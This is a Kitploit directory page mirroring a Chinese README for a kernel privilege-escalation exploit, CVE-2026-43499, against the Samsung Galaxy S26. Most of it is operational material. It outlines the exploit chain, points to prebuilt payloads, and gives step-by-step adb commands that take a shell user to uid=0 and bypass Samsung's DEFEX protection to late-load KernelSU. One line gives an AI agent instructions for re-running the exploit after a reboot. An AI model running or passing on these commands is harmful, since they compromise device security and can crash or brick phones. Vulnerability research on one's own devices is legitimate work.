Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
s26-m1q-ghostlock-selinux — GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented | Kitploit
أدوات/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubxrzcc/s26-m1q-ghostlock-selinux

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

s26-m1q-ghostlock-selinux

GhostLock CVE-2026-43499 research for Galaxy S26 (SM-S942U1/m1q): SELinux Permissive achieved, KASLR + tracefs port, uid=0 boundary documented

عرض المستودع
6111منذ 19 أياملم تتم المراجعة بعد
المحتوى غير متوفر باللغة المطلوبة. عرض النسخة الإنجليزية.

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — uid=0 root + KernelSU 激活达成

针对 Samsung Galaxy S26(SM-S942U1,codename m1q,SoC SM8850 骁龙 8 Elite Gen2, 内核 6.12.30-android16-5-android16-5-pd30ff70,Android 16)的 CVE-2026-43499(GhostLock)提权研究。

✅ 最终结果:uid=0 root + KernelSU 激活达成

root@kitploit:~
# exploit 后通过 root helper 验证
$ /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0

# KernelSU late-load 后内核接口已就位
$ ./su_daemon_aarch64_pie --ksu-info
KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

$ getenforce
Enforcing   # late-load 后 SELinux 恢复 Enforcing,由 KernelSU 策略接管授权

从 shell(uid 2000)提权到 uid=0(root),context=kernel(最高权限); 随后完成 KernelSU late-load,内核驱动接口(version=32525)激活,SELinux 由 KernelSU sepolicy 接管。

关键突破路径

找到了 monovibe/s26u-m3q-temp-root(S26 Ultra 临时 KernelSU root),其内核 commit pd30ff70 与美版 S942U1 完全一致。核心机制不用 dirty-pipe(绕过了「非 NULL 写」边界):

  1. tracefs KASLR 探测 → slide(美版 KASLR 随机,非 nokaslr)
  2. KernelSnitch mm_struct collision + spray
  3. GhostLock 写原语(owner_null shape)→ misc/simple_attr carrier(完整任意读写)
  4. uinput misc 节点 patch → controller/data 两个 fd + debugfs_u64 get/set
  5. 伪造 workqueue work item → call_usermodehelper_exec_work → 以 uid=0 启动 su_daemon helper
  6. helper 创建 root socket(temp_su.sock)

移植关键(m3q → 美版 3 处差异)

DEBUGFS_U64_FORMAT_OFF 是字符串字面量(非符号),编译器布局使美版偏移了 0xC0; m3q 值在美版指向 KVM 的 "GWVRn_EL1(1)" 字符串,导致 read 原语输出乱码。

目录结构

root@kitploit:~
├── README.md
├── prebuilt/                                  # S26 预编译 payload + ksud(直接用,无需构建)
│   ├── preload-m1q-S942U1UES4AZG3.so          # monovibe fast-attr 变体(命令行 LD_PRELOAD,实测成功)
│   ├── cve-2026-43499-app.so                  # RMG physical-P0 oracle 变体(APP 手动选用)
│   └── ksud-m1q-S942U1UES4AZG3-kdp            # KernelSU loader(复用 m3q,实测 late-load version=32525)
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md   # 完整诊断(含 uid=0 成功记录)
├── m3q-temp-root/                            # monovibe/s26u-m3q-temp-root 移植(源码)
└── kallsyms/kallsyms.txt                      # 美版内核符号表(128307 符号)

ksud 已含在 prebuilt/ksud-m1q-S942U1UES4AZG3-kdp(复用 m3q,实测 late-load 成功)。

复现:达成 uid=0 root

直接用 prebuilt/ 现成 payload + ksud(无需构建):

root@kitploit:~
adb push prebuilt/preload-m1q-S942U1UES4AZG3.so /data/local/tmp/preload.so
adb push prebuilt/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp
adb shell mkdir -p /data/local/tmp/cve-2026-43499-m1q-ues4azg3
# root helper su_daemon_aarch64_pie(24392B):从 m3q-temp-root/ 源码用 NDK r29 构建,
# 或从改造版 APP(lib/arm64-v8a/libcve43499root.so)提取后重命名
adb push su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie
adb shell chmod 755 /data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie

# 3. 运行 root-single(需补 PSELECT_MM_KICK_SLABS,否则卡在 "requires 0-16 kicker slabs" gate)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 \
  M3Q_REQUIRE_TRACEFS=1 M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 \
  M3Q_ACCEPT_PANIC_RISK=1 TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 \
  TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 \
  GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so sh"

# 4. 验证 root(exploit 失败会 KP 重启,等设备恢复后重跑 step 3,通常 1-2 次成功)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie -c 'id'"
# → uid=0(root) gid=0(root) context=u:r:kernel:s0

复现:KernelSU late-load 激活(DEFEX 障碍已突破)

此前 commit fa1bb14 记录「KernelSU late-load 遇 Samsung DEFEX immutable root 障碍」。 经实机定位,late-load 失败的真正根因并非 DEFEX,而是 .ksud-stage 源文件从未被创建 (ksud 的 stage_daemon_from() 只负责 rename,复制到 stage 文件是调用方责任, 而 su_daemon 的 late-load 包装漏了这步 → rename 报 ENOENT,误判为 DEFEX 拦截)。

root@kitploit:~
# 5. 放置 stage 文件(shell uid 即可,在 /data/local/tmp 下)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 6. 通过 root 通道以 bind-logcat 伪装执行 ksud late-load(绕 DEFEX exec 限制)
#    --allow-shell 让 KernelSU 对 shell uid(2000) 自动授权
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(ksud_rc=0)。late-load 会 restorecon 关闭 temp_su.sock(bootstrap 桥按设计退出)

# 7. 验证 KernelSU 激活(temp_su.sock 关闭前,或重新 exploit 后)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

重启后恢复 su(payload/ksud/helper 已在设备,无需重新 push)

临时 root 每次重启丢失。首次按上面 step 1-7 push 过文件后,之后每次重启只需下面 4 条 adb 命令:

root@kitploit:~
# 1. exploit(失败会 KP 重启,等设备恢复 boot_completed 后重跑,通常 1-2 次成功)
adb shell "env M3Q_STAGE=root-single M3Q_APP_UID=2000 M3Q_ENABLE_WRITE=1 M3Q_REQUIRE_TRACEFS=1 \
  M3Q_POPSICLE_WALK=1 M3Q_ATTR_CARRIER=1 M3Q_ATTR_ROOT=1 M3Q_ACCEPT_PANIC_RISK=1 \
  TMP_PAGE_UNAME=1 TMP_UNAME_PIPEI_SWEEP=1 TMP_UNAME_PIPEI_SLOT_CANDIDATES=1 \
  TMP_UNAME_PIPEI_MAX_ATTEMPTS=1 GHOSTLOCK_CORE=6 GHOSTLOCK_CONSUMER_CORE=7 \
  PSELECT_OWNER_NULL=1 PSELECT_REAL_WAITER_TASK=1 PSELECT_W0_PRIO_OVERRIDE=100 \
  PIPEI_ORACLE_WALK=1 PIPEI_ORACLE_REGION=3 PIPEI_CHILD_REGIONS=5 \
  M3Q_PROBE_STRICT=1 PSELECT_MM_KICK_SLABS=2 \
  LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 成功标志:stdout 含 "m3q-fast-attr-result mode=root root=1 uid=0",su_daemon(uid=0) 起来,getenforce=Permissive

# 2. 放置 stage 文件(late-load 必需,漏这步会 ENOENT)
adb shell "cp /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /data/local/tmp/.ksud-stage"

# 3. KernelSU late-load(root 通道 + bind-logcat 伪装绕 DEFEX,--allow-shell 授权 shell uid)
adb shell "cd /data/local/tmp/cve-2026-43499-m1q-ues4azg3 && ./su_daemon_aarch64_pie -c '\
  unshare -m sh -c \"mount -o bind /data/local/tmp/ksud-m1q-S942U1UES4AZG3-kdp /system/bin/logcat \
  && /system/bin/logcat late-load --allow-shell --kmi android16-6.12 \
  --package-name me.weishu.kernelsu\"'"
# 成功无输出(rc=0),late-load 后 temp_su.sock 被 restorecon 关闭,getenforce 恢复 Enforcing

# 4. 验证 KernelSU 激活(需重新跑 step 1 拿新 root 通道,或 late-load 后立即趁 sock 未关)
adb shell "/data/local/tmp/cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie --ksu-info"
# → KernelSU control verified version=32525 flags=0x5 uapi=2 features=0x5

给 AI 接力:设备重启后 su 丢失,按上面 step 1-4 跑即可恢复。step 1 失败会 KP,等 sys.boot_completed=1 后重跑。所有文件已在 /data/local/tmp(preload.so + ksud-m1q-S942U1UES4AZG3-kdp + cve-2026-43499-m1q-ues4azg3/su_daemon_aarch64_pie),不随重启丢失。

DEFEX 行为实测

  • root(u:r:kernel:s0)直接 cp … /data/adb/ksud / 列 /data/adb 内容 → EPERM(DEFEX 拦路径字符串)
  • 私有 mount ns + bind /data/adb 到镜像路径后访问 → 放行(DEFEX 按路径名匹配)
  • ksud 在 bind-logcat 伪装下执行 late-load → /data/adb/ksud 的 stage rename 未被 DEFEX 拦 (此前报 ENOENT 是源文件 .ksud-stage 缺失,非 DEFEX)

KernelSU 的 root 使用

  • ksud 以 argv[0]=su 启动时进入 su 模式,但本构建的 su 子命令为 dispatcher(module/post-fs-data/services), 非标准 su -c;持久授权推荐安装官方 KernelSU Manager APK(me.weishu.kernelsu)由其弹窗授权。
  • --allow-shell 已使 shell uid 进入内核 allowlist,配合 Manager 或自建 su 客户端可拿到 root shell。

风险(必读)

  • kernel panic(exploit 概率性,首次可能 KP,重跑即成功)
  • delay KP(root 后仍可能 KP,需重跑)
  • safe-mode / factory-reset 风险
  • 仅限自己拥有的设备

致谢

  • monovibe/s26u-m3q-temp-root(核心参考,完整 uid=0 + KernelSU 方案)
  • polygraphene/CyberMeowfia(S26 端口)
  • Bugel/cve-2026-43499-m3q-azf1(m3q 参考)
  • BuSung-dev/Root-My-Galaxy(Samsung 框架)
  • NebuSec(漏洞发现/原理)
تنزيل الأداة
项m3q 原值美版值
DEBUGFS_U64_FORMAT_OFF("%llu\n" 字符串偏移,最关键)0x18be5e90x18be529
P0_KERNEL_PHYS_LOAD0x800000000xc7800000(xbl_config 权威)
app_uid 检查下限100002000(允许 shell)